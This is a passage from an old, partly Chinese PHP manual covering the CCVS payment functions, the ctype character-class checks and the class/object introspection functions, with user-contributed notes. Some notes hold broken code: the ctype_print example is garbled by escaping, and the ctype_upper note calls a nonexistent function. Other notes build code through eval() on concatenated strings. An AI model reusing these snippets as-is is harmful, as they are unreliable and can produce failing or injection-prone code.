ccvs_auth -- Perform credit authorization test on a transaction
ccvs_command -- Performs a command which is peculiar to a single protocol, and thus is not available in the general CCVS API
ccvs_count -- Find out how many transactions of a given type are stored in the system
ccvs_delete -- Delete a transaction
ccvs_done -- Terminate CCVS engine and do cleanup work
ccvs_init -- Initialize CCVS for use
ccvs_lookup -- Look up an item of a particular type in the database #
ccvs_new -- Create a new, blank transaction
ccvs_report -- Return the status of the background communication process
ccvs_return -- Transfer funds from the merchant to the credit card holder
ccvs_reverse -- Perform a full reversal on an already-processed authorization
ccvs_sale -- Transfer funds from the credit card holder to the merchant
ccvs_status -- Check the status of an invoice
ccvs_textvalue -- Get text return value for previous function call
ccvs_void -- Perform a full reversal on a completed transaction

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
unixtojd | 上一级 | ccvs_add


ccvs_add

(4.0.2 - 4.2.3 only)

ccvs_add -- Add data to a transaction

Description

string ccvs_add ( string session, string invoice, string argtype, string argval )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
CCVS API Functions [deprecated] | 上一级 | ccvs_auth


ccvs_auth

(4.0.2 - 4.2.3 only)

ccvs_auth -- Perform credit authorization test on a transaction

Description

string ccvs_auth ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_add | 上一级 | ccvs_command


ccvs_command

(4.0.2 - 4.2.3 only)

ccvs_command -- Performs a command which is peculiar to a single protocol, and thus is not available in the general CCVS API

Description

string ccvs_command ( string session, string type, string argval )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_auth | 上一级 | ccvs_count


ccvs_count

(4.0.2 - 4.2.3 only)

ccvs_count -- Find out how many transactions of a given type are stored in the system

Description

int ccvs_count ( string session, string type )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_command | 上一级 | ccvs_delete


ccvs_delete

(4.0.2 - 4.2.3 only)

ccvs_delete -- Delete a transaction

Description

string ccvs_delete ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_count | 上一级 | ccvs_done


ccvs_done

(4.0.2 - 4.2.3 only)

ccvs_done -- Terminate CCVS engine and do cleanup work

Description

string ccvs_done ( string sess )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_delete | 上一级 | ccvs_init


ccvs_init

(4.0.2 - 4.2.3 only)

ccvs_init -- Initialize CCVS for use

Description

string ccvs_init ( string name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_done | 上一级 | ccvs_lookup


ccvs_lookup

(4.0.2 - 4.2.3 only)

ccvs_lookup -- Look up an item of a particular type in the database #

Description

string ccvs_lookup ( string session, string invoice, int inum )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_init | 上一级 | ccvs_new


ccvs_new

(4.0.2 - 4.2.3 only)

ccvs_new -- Create a new, blank transaction

Description

string ccvs_new ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_lookup | 上一级 | ccvs_report


ccvs_report

(4.0.2 - 4.2.3 only)

ccvs_report -- Return the status of the background communication process

Description

string ccvs_report ( string session, string type )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_new | 上一级 | ccvs_return


ccvs_return

(4.0.2 - 4.2.3 only)

ccvs_return -- Transfer funds from the merchant to the credit card holder

Description

string ccvs_return ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_report | 上一级 | ccvs_reverse


ccvs_reverse

(4.0.2 - 4.2.3 only)

ccvs_reverse -- Perform a full reversal on an already-processed authorization

Description

string ccvs_reverse ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_return | 上一级 | ccvs_sale


ccvs_sale

(4.0.2 - 4.2.3 only)

ccvs_sale -- Transfer funds from the credit card holder to the merchant

Description

string ccvs_sale ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_reverse | 上一级 | ccvs_status


ccvs_status

(4.0.2 - 4.2.3 only)

ccvs_status -- Check the status of an invoice

Description

string ccvs_status ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_sale | 上一级 | ccvs_textvalue


ccvs_textvalue

(4.0.2 - 4.2.3 only)

ccvs_textvalue -- Get text return value for previous function call

Description

string ccvs_textvalue ( string session )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_status | 上一级 | ccvs_void


ccvs_void

(4.0.2 - 4.2.3 only)

ccvs_void -- Perform a full reversal on a completed transaction

Description

string ccvs_void ( string session, string invoice )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ccvs_textvalue | 上一级 | Character Type Functions


Character Type Functions

PHP 手册
后退 前进

XI. Character Type Functions

简介

The functions provided by this extension check whether a character or string falls into a certain character class according to the current locale (see also setlocale()).

When called with an integer argument these functions behave exactly like their C counterparts from ctype.h. It means that if you pass an integer smaller than 256 it will use the ASCII value of it to see if it fits in the specified range (digits are in 0x30-0x39). If the number is between -128 (inclusive) and 0 then 256 will be added and the check will be done on that.

When called with a string argument they will check every character in the string and will only return TRUE if every character in the string matches the requested criteria. When called with an empty string the result will always be TRUE.

Passing anything else but a string or integer will return FALSE immediately.

It should be noted that ctype functions are always preferred over regular expressions, and even to some equivalent str_* and is_* functions. This is because of the fact that ctype uses a native C library and thus processes significantly faster.

需求

None besides functions from the standard C library which are always available.

安装

Beginning with PHP 4.2.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-ctype. You can disable ctype support with --disable-ctype.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

注: Builtin support for ctype is available with PHP 4.3.0.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
ctype_alnum -- Check for alphanumeric character(s)
ctype_alpha -- Check for alphabetic character(s)
ctype_cntrl -- Check for control character(s)
ctype_digit -- Check for numeric character(s)
ctype_graph -- Check for any printable character(s) except space
ctype_lower -- Check for lowercase character(s)
ctype_print -- Check for printable character(s)
ctype_punct -- Check for any printable character which is not whitespace or an alphanumeric character
ctype_space -- Check for whitespace character(s)
ctype_upper -- Check for uppercase character(s)
ctype_xdigit -- Check for character(s) representing a hexadecimal digit

add a note add a note User Contributed Notes
avarab at gmail dot com
03-Jan-2006 04:58
In case the ctype_*() functions aren't compiled in your PHP and you can't recompile for some reason (e.g. shared host) you can use the compatability functions from the MediaWiki project which use preg_* as a replacement[1], removing lines 2 and 3 in the source should make them suitable for usage elsewhere.

Shameless self-advertisement, but hey, we find them useful;)

1. A tinyurl because the submission script complained about long lines: http://tinyurl.com/7hz4l
1. The real url split up:
http://cvs.sourceforge.net/viewcvs.py/*checkout*/
wikipedia/phase3/includes/compatability/ctype.php
martin you_know_the_at marty.me.uk
10-Dec-2005 04:48
Note on Gentoo systems to enable ctype functions you need to set the use flag for php "ctype" else you'll have problems ;)
Gregory Boshoff
07-Aug-2005 11:47
As noted above unfortunately many PHP developers are seemingly unaware of these functions and are still using less  efficient equivalents.

Use the ctype functions for input type vaildation.

Example wrapper function:

 function detect_type($str, $type_req = ''){
       $type = array();
     (ctype_alnum($str) === TRUE) ? ($type = 'alnum') : FALSE;
     (ctype_digit($str) === TRUE) ? ($type = 'digit') : FALSE;
     (ctype_alpha($str) === TRUE) ? ($type = 'alpha') : FALSE;
       return ($type === $type_req) ? TRUE : FALSE;
   } // end fun

$str = 'AlphaString';
$type_req = 'alpha';

// Returns TRUE if the string is of the required type
echo detect_type($str, $type_req);
add a note add a note

后退 | 起点 | 前进
ccvs_void | 上一级 | ctype_alnum


ctype_alnum

(PHP 4 >= 4.0.4, PHP 5)

ctype_alnum -- Check for alphanumeric character(s)

说明

bool ctype_alnum ( string text )

Checks if all of the characters in the provided string, text, are alphanumeric. In the standard C locale letters are just [A-Za-z] and the function is equivalent to preg_match('/^[a-z0-9]*$/i', $text).

参数

text

The tested string.

返回值

Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise.

范例

例子 1. A ctype_alnum() example (using the default locale)

<?php
$strings = array('AbCd1zyZ9', 'foo!#$bar');
foreach ($strings as $testcase) {
    if (ctype_alnum($testcase)) {
        echo "The string $testcase consists of all letters or digits.\n";
    } else {
        echo "The string $testcase does not consist of all letters or digits.\n";
    }
}
?>

上例将输出：

The string AbCd1zyZ9 consists of all letters or digits.
The string foo!#$bar does not consists of all letters or digits.

参见

ctype_alpha()
ctype_digit()
setlocale()

add a note add a note User Contributed Notes
mail at fredemmott dot co dot uk
27-May-2006 08:26
The 'equivalent' preg_match given here is not truly equivalent. If the variable is null or the empty string, the results differ.
add a note add a note

后退 | 起点 | 前进
Character Type Functions | 上一级 | ctype_alpha


ctype_alpha

(PHP 4 >= 4.0.4, PHP 5)

ctype_alpha -- Check for alphabetic character(s)

说明

bool ctype_alpha ( string text )

Checks if all of the characters in the provided string, text, are alphabetic. In the standard C locale letters are just [A-Za-z] and ctype_alpha() is equivalent to (ctype_upper($text) || ctype_lower($text)) if $text is just a single character, but other languages have letters that are considered neither upper nor lower case.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is a letter from the current locale, FALSE otherwise.

范例

例子 1. A ctype_alpha() example (using the default locale)

<?php
$strings = array('KjgWZC', 'arf12');
foreach ($strings as $testcase) {
    if (ctype_alpha($testcase)) {
        echo "The string $testcase consists of all letters.\n";
    } else {
        echo "The string $testcase does not consist of all letters.\n";
    }
}
?>

上例将输出：

The string KjgWZC consists of all letters.
The string arf12 does not consists of all letters.

参见

ctype_upper()
ctype_lower()
setlocale()

add a note add a note User Contributed Notes
egypt at nmt dot edu
22-Nov-2003 09:16
Be careful with all of the ctype_* functions as they return true on the empty string, so the following code will execute forever.

(see also http://bugs.php.net/30945)

<?php
$string = "abc";
// infinite loop!
for($i = 4;ctype_alpha($string[$i]); $i++)
{
   print $i;
}
?>

so always check the length of the string before doing something like that. i.e.:

while($i < strlen($string) && ctype_alpha($string[$i]))
add a note add a note

后退 | 起点 | 前进
ctype_alnum | 上一级 | ctype_cntrl


ctype_cntrl

(PHP 4 >= 4.0.4, PHP 5)

ctype_cntrl -- Check for control character(s)

说明

bool ctype_cntrl ( string text )

Checks if all of the characters in the provided string, text, are control characters. Control characters are e.g. line feed, tab, esc.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is a letter from the current locale, FALSE otherwise.

范例

例子 1. A ctype_cntrl() example

<?php
$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
    if (ctype_cntrl($testcase)) {
        echo "The string '$name' consists of all control characters.\n";
    } else {
        echo "The string '$name' does not consist of all control characters.\n";
    }
}
?>

上例将输出：

The string 'string1' consists of all control characters.
The string 'string2' does not consists of all control characters.

参见

ctype_print()

add a note add a note User Contributed Notes
Simon Hartley - srhartley at hotmail dot com
12-Apr-2004 11:15
When evaluting a string for control characters ensure that the string is surrounded by double (not single quotes).
add a note add a note

后退 | 起点 | 前进
ctype_alpha | 上一级 | ctype_digit


ctype_digit

(PHP 4 >= 4.0.4, PHP 5)

ctype_digit -- Check for numeric character(s)

说明

bool ctype_digit ( string text )

Checks if all of the characters in the provided string, text, are numerical.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is a decimal digit, FALSE otherwise.

范例

例子 1. A ctype_digit() example

<?php
$strings = array('1820.20', '10002', 'wsl!12');
foreach ($strings as $testcase) {
    if (ctype_digit($testcase)) {
        echo "The string $testcase consists of all digits.\n";
    } else {
        echo "The string $testcase does not consist of all digits.\n";
    }
}
?>

上例将输出：

The string 1820.20 does not consists of all digits.
The string 10002 consists of all digits.
The string wsl!12 does not consists of all digits.

参见

ctype_alnum()
ctype_xdigit()

add a note add a note User Contributed Notes
GamblerZG
13-Sep-2005 02:30
My function:
<?php
function isDigital($var){
   return (!empty($var) && (is_string($var) || is_int($var)) && ctype_digit((string) $var));
}
?>
It returns true only when given positive integer or string that contains only digits.
crimson at technologist dot com
12-Sep-2005 06:05
In PHP 4.3.11 (not sure about other versions), this function can provide erratic behavior. Though we normally expect automatic type casting to do the work for us, in these ctype functions, you must do it yourself!

Example:
<?php
   echo '<pre>';

   $fields[0] = 'somestring';
   $fields[1] = 150679;
   $fields[2] = 20050912;

   var_dump($fields);

   if(!ctype_digit($fields[1])) echo "1 not digits\n";
   if(!ctype_digit($fields[2])) echo "2 not digits\n";

   var_dump($fields);

   echo '</pre>';
?>

Returns:
array(3) {
  [0]=>
  string(10) "somestring"
  [1]=>
  int(150679)
  [2]=>
  int(20050912)
}
array(3) {
  [0]=>
  string(10) "somestring"
  [1]=>
  string(8) "20050912"
  [2]=>
  int(20050912)
}

Notice that the value in $fields[2] was converted to a string and moved to $fields[1]! Explicitly converting the values to strings solved the problem.
info at challengia dot com
12-Jan-2005 06:25
Note : ctype_digit(1) return false. So if you use it against an unknown type, cast you var to string first -- ctype_digit((string)$myvar).
add a note add a note

后退 | 起点 | 前进
ctype_cntrl | 上一级 | ctype_graph


ctype_graph

(PHP 4 >= 4.0.4, PHP 5)

ctype_graph -- Check for any printable character(s) except space

说明

bool ctype_graph ( string text )

Checks if all of the characters in the provided string, text, creates visible output.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise.

范例

例子 1. A ctype_graph() example

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_graph($testcase)) {
        echo "The string '$name' consists of all (visibly) printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all (visibly) printable characters.\n";
    }
}
?>

上例将输出：

The string 'string1' does not consist of all (visibly) printable characters.
The string 'string2' consists of all (visibly) printable characters.
The string 'string3' consists of all (visibly) printable characters.

参见

ctype_alnum()
ctype_print()
ctype_punct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ctype_digit | 上一级 | ctype_lower


ctype_lower

(PHP 4 >= 4.0.4, PHP 5)

ctype_lower -- Check for lowercase character(s)

说明

bool ctype_lower ( string text )

Checks if all of the characters in the provided string, text, are lowercase letters.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is a lowercase letter in the current locale.

范例

例子 1. A ctype_lower() example (using the default locale)

<?php
$strings = array('aac123', 'qiutoas', 'QASsdks');
foreach ($strings as $testcase) {
    if (ctype_lower($testcase)) {
        echo "The string $testcase consists of all lowercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all lowercase letters.\n";
    }
}
?>

上例将输出：

The string aac123 does not consist of all lowercase letters.
The string qiutoas consists of all lowercase letters.
The string QASsdks does not consist of all lowercase letters.

参见

ctype_alpha()
ctype_upper()
setlocale()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ctype_graph | 上一级 | ctype_print


ctype_print

(PHP 4 >= 4.0.4, PHP 5)

ctype_print -- Check for printable character(s)

说明

bool ctype_print ( string text )

Checks if all of the characters in the provided string, text, are printable.

参数

text

The tested string.

返回值

Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all.

范例

例子 1. A ctype_print() example

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_print($testcase)) {
        echo "The string '$name' consists of all printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all printable characters.\n";
    }
}
?>

上例将输出：

The string 'string1' does not consist of all printable characters.
The string 'string2' consists of all printable characters.
The string 'string3' consists of all printable characters.

参见

ctype_cntrl()
ctype_graph()
ctype_punct()

add a note add a note User Contributed Notes
pcdinh at gmail dot com
12-Mar-2006 08:43
This function has problems with string quoted with single quotes.

This code proves that

<?php

$ch = chr('%0A\\\');
$strings = array(\\\'string1\\\' => \\\'asdf\\\\n\\\\r\\\\t\\\', \\\'string2\\\' => $ch);
foreach ($strings as $name => $testcase) {
   if (ctype_print($testcase)) {
       echo \\\"The string \\\'$name\\\' consists of all printable characters.\\\\n\\\";
   } else {
       echo \\\"The string \\\'$name\\\' does not consist of all printable characters.\\\\n\\\";
   }
}
?>

returns

The string \\\'string1\\\' consists of all printable characters.
The string \\\'string2\\\' does not consist of all printable characters.

So always quote your strings with double quotes.
flatline at greyhat dot nl
04-Mar-2004 08:58
It seems that this function does not recognize characters such as '', '', '', '' as printable.

Depends on your locale settings, in the default "C" locale they are
indeed not printable as it is 7bit ASCII based. (hartmut)
add a note add a note

后退 | 起点 | 前进
ctype_lower | 上一级 | ctype_punct


ctype_punct

(PHP 4 >= 4.0.4, PHP 5)

ctype_punct -- Check for any printable character which is not whitespace or an alphanumeric character

说明

bool ctype_punct ( string text )

Checks if all of the characters in the provided string, text, are punctuation character.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise.

范例

例子 1. A ctype_punct() example

<?php
$strings = array('ABasdk!@!$#', '!@ # $', '*&$()');
foreach ($strings as $testcase) {
    if (ctype_punct($testcase)) {
        echo "The string $testcase consists of all punctuation.\n";
    } else {
        echo "The string $testcase does not consist of all punctuation.\n";
    }
}
?>

上例将输出：

The string ABasdk!@!$# does not consist of all punctuation.
The string !@ # $ does not consist of all punctuation.
The string *&$() consists of all punctuation.

参见

ctype_cntrl()
ctype_graph()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ctype_print | 上一级 | ctype_space


ctype_space

(PHP 4 >= 4.0.4, PHP 5)

ctype_space -- Check for whitespace character(s)

说明

bool ctype_space ( string text )

Checks if all of the characters in the provided string, text, creates whitespace.

参数

text

The tested string.

返回值

Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters.

范例

例子 1. A ctype_space() example

<?php
$strings = array('string1' => "\n\r\t", 'string2' => "\narf12", 'string3' => '\n\r\t');
foreach ($strings as $name => $testcase) {
    if (ctype_space($testcase)) {
        echo "The string '$name' consists of all whitespace characters.\n";
    } else {
        echo "The string '$name' does not consist of all whitespace characters.\n";
    }
}
?>

上例将输出：

The string 'string1' consists of all whitespace characters.
The string 'string2' does not consist of all whitespace characters.
The string 'string3' does not consist of all whitespace characters.

参见

ctype_cntrl()
ctype_graph()
ctype_punct()

add a note add a note User Contributed Notes
Wes Peters
29-Apr-2004 09:02
ctype_space returns TRUE for a zero-length string.  This makes it very handy for checking for empty submissions when browsers often return extraneous whitespace in empty-looking TEXTAREA controls.

(see also http://bugs.php.net/30945)
add a note add a note

后退 | 起点 | 前进
ctype_punct | 上一级 | ctype_upper


ctype_upper

(PHP 4 >= 4.0.4, PHP 5)

ctype_upper -- Check for uppercase character(s)

说明

bool ctype_upper ( string text )

Checks if all of the characters in the provided string, text, are uppercase characters.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is an uppercase letter in the current locale.

范例

例子 1. A ctype_upper() example (using the default locale)

<?php
$strings = array('AKLWC139', 'LMNSDO', 'akwSKWsm');
foreach ($strings as $testcase) {
    if (ctype_upper($testcase)) {
        echo "The string $testcase consists of all uppercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all uppercase letters.\n";
    }
}
?>

上例将输出：

The string AKLWC139 does not consist of all uppercase letters.
The string LMNSDO consists of all uppercase letters.
The string akwSKWsm does not consist of all uppercase letters.

参见

ctype_alpha()
ctype_lower()
setlocale()

add a note add a note User Contributed Notes
14-Jul-2005 07:22
pitty, there is no function to do the same with numbers and spaces

I offer this function

isSpaceAndNumeric( $testStr )
{
 return ereg_match( $testStr, "/^"."\A[\d\s]++"."/i" );
}

explanation:

this function start scanning from string begining, then mathes all digit and space characters from 1 to any number of occurence times.
add a note add a note

后退 | 起点 | 前进
ctype_space | 上一级 | ctype_xdigit


ctype_xdigit

(PHP 4 >= 4.0.4, PHP 5)

ctype_xdigit -- Check for character(s) representing a hexadecimal digit

说明

bool ctype_xdigit ( string text )

Checks if all of the characters in the provided string, text, are hexadecimal 'digits'.

参数

text

The tested string.

返回值

Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise.

范例

例子 1. A ctype_xdigit() example

<?php
$strings = array('AB10BC99', 'AR1012', 'ab12bc99');
foreach ($strings as $testcase) {
    if (ctype_xdigit($testcase)) {
        echo "The string $testcase consists of all hexadecimal digits.\n";
    } else {
        echo "The string $testcase does not consist of all hexadecimal digits.\n";
    }
}
?>

上例将输出：

The string AB10BC99 consists of all hexadecimal digits.
The string AR1012 does not consist of all hexadecimal digits.
The string ab12bc99 consists of all hexadecimal digits.

参见

ctype_digit()

add a note add a note User Contributed Notes
tom at hgmail dot com
15-Jan-2006 04:36
This function shows its usefulness on a web site where a user is asked to entered a hexidecimal color code for a color. To prevent breaking W3C standard and having them enter in "neon-green" or the wrong type of code like 355511235.

In conjunction with strlen()  you could create a function like this:

function check_valid_colorhex($colorCode) {
   // If user accidentally passed along the # sign, strip it off
   $colorCode = ltrim($colorCode, '#');

   if (
         ctype_xdigit($colorCode) &&
         (strlen($colorCode) == 6 || strlen($colorCode) == 3))
               return true;

   else return false;
}
add a note add a note

后退 | 起点 | 前进
ctype_upper | 上一级 | Classes/Objects 类／对象函数


Classes/Objects 类／对象函数

PHP 手册
后退 前进

XII. Classes/Objects 类／对象函数

简介

本类函数允许获取类和对象实例的信息。可以取得对象所属的类的名字，以及它的成员属性和方法。通过使用这些函数，不仅可以弄清楚一个对象类的全体成员，而且可以知道它的起源（例如，该对象类是哪个类的扩展）。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

在本例子中，先定义一个基础类和一个扩展类。基础类描述的是普通的蔬菜（Vegetable），它是否可食用（is_edible）以及它是什么颜色（what_color）。子类 Spinach 增加了“烹调”的方法（cook_it）和“获知它是否已被烹调了”的方法（is_cooked）。

例子 1. classes.inc

<?php

// 基类及其成员属性与方法
class Vegetable {

    var $edible;
    var $color;

    function Vegetable($edible, $color="green")
    {
        $this->edible = $edible;
        $this->color = $color;
    }

    function is_edible()
    {
        return $this->edible;
    }

    function what_color()
    {
        return $this->color;
    }

} // Vegetable 类定义结束

// 扩展基类
class Spinach extends Vegetable {

    var $cooked = false;

    function Spinach()
    {
        $this->Vegetable(true, "green");
    }

    function cook_it()
    {
        $this->cooked = true;
    }

    function is_cooked()
    {
        return $this->cooked;
    }

} // Spinach 类定义结束

?>

接着，从这些对象中创建两个对象实例，打印出它们的相关信息，包括它们的起源。还定义了一些实用函数，它们主要是为了让变量的输出好看些。

例子 2. test_script.php

<pre>
<?php

include "classes.inc";

// utility functions

function print_vars($obj)
{
    foreach (get_object_vars($obj) as $prop => $val) {
        echo "\t$prop = $val\n";
    }
}

function print_methods($obj)
{
    $arr = get_class_methods(get_class($obj));
    foreach ($arr as $method) {
        echo "\tfunction $method()\n";
    }
}

function class_parentage($obj, $class)
{
    if (is_subclass_of($GLOBALS[$obj], $class)) {
        echo "Object $obj belongs to class " . get_class($$obj);
        echo " a subclass of $class\n";
    } else {
        echo "Object $obj does not belong to a subclass of $class\n";
    }
}

// instantiate 2 objects

$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// print out information about objects
echo "veggie: CLASS " . get_class($veggie) . "\n";
echo "leafy: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// show veggie properties
echo "\nveggie: Properties\n";
print_vars($veggie);

// and leafy methods
echo "\nleafy: Methods\n";
print_methods($leafy);

echo "\nParentage:\n";
class_parentage("leafy", "Spinach");
class_parentage("leafy", "Vegetable");
?>
</pre>

上边例子中重点要注意的是对象 $leafy 是 Spinach 类的一个实例，而 Spinach 类是 Vegetable 类的一个子类，因此上边脚本的最后部分将会输出：

[...]
Parentage:
Object leafy does not belong to a subclass of Spinach
Object leafy belongs to class spinach a subclass of Vegetable

目录
call_user_method_array -- 调用一个用户方法，同时传递参数数组［已停用］
call_user_method -- 调用特定对象的用户方法［已停用］
class_exists -- 检查类是否已定义
get_class_methods -- 返回由类的方法名组成的数组
get_class_vars -- 返回由类的默认属性组成的数组
get_class -- 返回对象的类名
get_declared_classes -- 返回由已定义类的名字所组成的数组
get_declared_interfaces -- Returns an array of all declared interfaces
get_object_vars -- 返回由对象属性组成的关联数组
get_parent_class -- 返回对象或类的父类名
interface_exists -- Checks if the interface has been defined
is_a -- 如果对象属于该类或该类是此对象的父类则返回 TRUE
is_subclass_of -- 如果此对象是该类的子类，则返回 TRUE
method_exists -- 检查类的方法是否存在
property_exists -- Checks if the object or class has a property

add a note add a note User Contributed Notes
Chris
26-Oct-2005 06:06
You could reformat your query to use the 'as colname'
<?  $db->query("select found_rows() as found_rows"); ?>
pascal dot poncet at netconsult dot com
13-Oct-2005 10:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk
03-Aug-2005 01:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com
27-Jun-2005 03:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:  Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones
04-Mar-2005 05:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
   eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
   function objRef ( &$obj ){
       eval("\$this->obj_".get_class($obj)." = \$obj;");
   }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
   $show->objRef($date);
   $show->objRef($time);
   $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher
03-Mar-2005 02:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

   switch ($whatever) {
     case 'stuff'      : return new Stuff($instancedata);
     case 'otherstuff' : return new Otherstuff($instancedata);
   }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

   switch ($whatever) {

     case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
     case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

   }

  }
